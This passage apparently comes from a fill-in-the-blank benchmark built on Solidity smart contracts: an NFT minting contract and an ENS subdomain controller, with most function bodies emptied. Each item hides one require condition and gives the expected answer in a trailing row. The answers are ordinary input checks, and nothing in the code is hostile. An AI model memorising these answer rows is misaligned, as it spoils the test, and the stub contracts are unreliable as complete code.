uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
require(<FILL_ME>)
salesAccountsCount = accounts.length;
for (uint i; i < accounts.length; i++) {
address account = accounts[i];
salesAccounts[i] = account;
salesAccountsBps[account] = shares[i];
}
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| _sum(shares)==10000,"GreedyBoys: admin shares must add up to 100" | 221,476 | _sum(shares)==10000 |
null | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
bytes memory _baseBytes = bytes(_base);
require(<FILL_ME>)
string memory _tmp = new string(uint(_length));
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for (uint i = uint(_offset); i < uint(_offset + _length); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
return string(_tmpBytes);
}
}
| uint(_offset+_length)<=_baseBytes.length | 221,476 | uint(_offset+_length)<=_baseBytes.length |
null | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
require(<FILL_ME>)
require(address(_baseRegistrarAddr) != address(0));
require(address(_resolverAddr) != address(0));
token = CNSToken(_cnsTokenAddr);
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| address(_ensAddr)!=address(0) | 221,765 | address(_ensAddr)!=address(0) |
null | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
require(address(_ensAddr) != address(0));
require(<FILL_ME>)
require(address(_resolverAddr) != address(0));
token = CNSToken(_cnsTokenAddr);
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| address(_baseRegistrarAddr)!=address(0) | 221,765 | address(_baseRegistrarAddr)!=address(0) |
null | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
require(address(_ensAddr) != address(0));
require(address(_baseRegistrarAddr) != address(0));
require(<FILL_ME>)
token = CNSToken(_cnsTokenAddr);
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| address(_resolverAddr)!=address(0) | 221,765 | address(_resolverAddr)!=address(0) |
null | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
require(<FILL_ME>)
controller[_controller] = true;
}
function removeController(address _controller) public onlyOwner {
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
function isRegisterSubdomain(bytes32 _node) public view returns (bool) {
}
function unRegisterSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode
) public {
}
function unRegisterSubdomainAndBurn(
bytes32 _node,
string memory _subDomainLabel,
bytes32 _subnode
) public {
}
function getSubdomain(bytes32 _subnode)
public
view
returns (
string memory,
string memory,
address,
uint256
)
{
}
function isSubdomainOwner(bytes32 _subnode, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Set Subdomain Text Record
|--------------------------------------------------------------------------
*/
function setText(
bytes32 _node,
string memory _key,
string memory _value
) public {
}
function multicall(bytes[] calldata data, bytes32 _subnode)
external
returns (bytes[] memory results)
{
}
}
| controller[_controller]==false | 221,765 | controller[_controller]==false |
null | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import "@ensdomains/ens-contracts/contracts/resolvers/Resolver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./libs/ENSController.sol";
import "./token/CNSToken.sol";
contract CNSController is Ownable, ENSController {
/*
|--------------------------------------------------------------------------
| CNS SBT Token
|--------------------------------------------------------------------------
*/
CNSToken internal token;
/*
|--------------------------------------------------------------------------
| Constructor
|--------------------------------------------------------------------------
*/
constructor(
address _ensAddr,
address _baseRegistrarAddr,
address _resolverAddr,
address _cnsTokenAddr
) ENSController(_ensAddr, _baseRegistrarAddr, _resolverAddr) {
}
/*
|--------------------------------------------------------------------------
| Event
|--------------------------------------------------------------------------
*/
event RegisterDomain(
string domain,
bytes32 node,
address owner,
address policy,
uint256 subdomainCount
);
event RegisterSubdomain(
string domain,
string subdomain,
bytes32 node,
bytes32 subnode,
address owner,
address policy,
uint256 cnsTokenId
);
event UnregisterDomain(bytes32 node, string domain);
event UnregisterSubdomain(bytes32 _subnode, string _subdomain);
event MintCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
event BurnCNSToken(bytes32 _subnode, address _owner, uint256 _tokenId);
/*
|--------------------------------------------------------------------------
| Controller
|--------------------------------------------------------------------------
*/
mapping(address => bool) internal controller;
function addController(address _controller) public onlyOwner {
}
function removeController(address _controller) public onlyOwner {
require(<FILL_ME>)
controller[_controller] = false;
}
/*
|--------------------------------------------------------------------------
| Domain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public name;
mapping(bytes32 => address) public domainOwner;
mapping(bytes32 => uint256) public tokenId;
mapping(bytes32 => uint256) public count;
mapping(bytes32 => address) public policyAddr;
function registerDomain(
string calldata _name,
bytes32 _node,
uint256 _tokenId,
address _owner
) public {
}
function setName(bytes32 _node, string memory _name) internal {
}
function getName(bytes32 _node) public view returns (string memory) {
}
function setOwner(bytes32 _node, address _owner) internal {
}
function getOwner(bytes32 _node) public view returns (address) {
}
function setTokenId(bytes32 _node, uint256 _domainId) internal {
}
function getTokenId(bytes32 _node) public view returns (uint256) {
}
function setCount(bytes32 _node, uint256 _count) internal {
}
function getCount(bytes32 _node) public view returns (uint256) {
}
function setPolicy(bytes32 _node, address _policy) internal {
}
function getPolicy(bytes32 _node) public view returns (address) {
}
function isRegister(bytes32 _node) public view returns (bool) {
}
function unRegisterDomain(bytes32 _node) public {
}
function getDomain(bytes32 _node)
public
view
returns (
string memory,
address,
uint256,
uint256,
address
)
{
}
function isDomainOwner(uint256 _tokenId, address _account)
public
view
returns (bool)
{
}
/*
|--------------------------------------------------------------------------
| Subdomain
|--------------------------------------------------------------------------
*/
mapping(bytes32 => string) public subDomainLabel;
mapping(bytes32 => address) public subDomainOwner;
mapping(bytes32 => uint256) public subDomainTokenId;
mapping(bytes32 => string) public subDomainName;
function registerSubdomain(
string memory _subDomainLabel,
bytes32 _node,
bytes32 _subnode,
address _owner
) public {
}
function setSubDomainLabel(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainLabel(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainName(bytes32 _subnode, string memory _name) internal {
}
function getSubDomainName(bytes32 _subnode)
public
view
returns (string memory)
{
}
function setSubDomainOwner(bytes32 _subnode, address _owner) internal {
}
function getSubDomainOwner(bytes32 _subnode) public view returns (address) {
}
function setSubDomainTokenId(bytes32 _subnode, uint256 _domainId) internal {
}
function getSubDomainTokenId(bytes32 _subnode)
public
view
returns (uint256)
{
}
function concat(string memory _label, string memory _domain)
public
pure
returns (string memory)
{
}
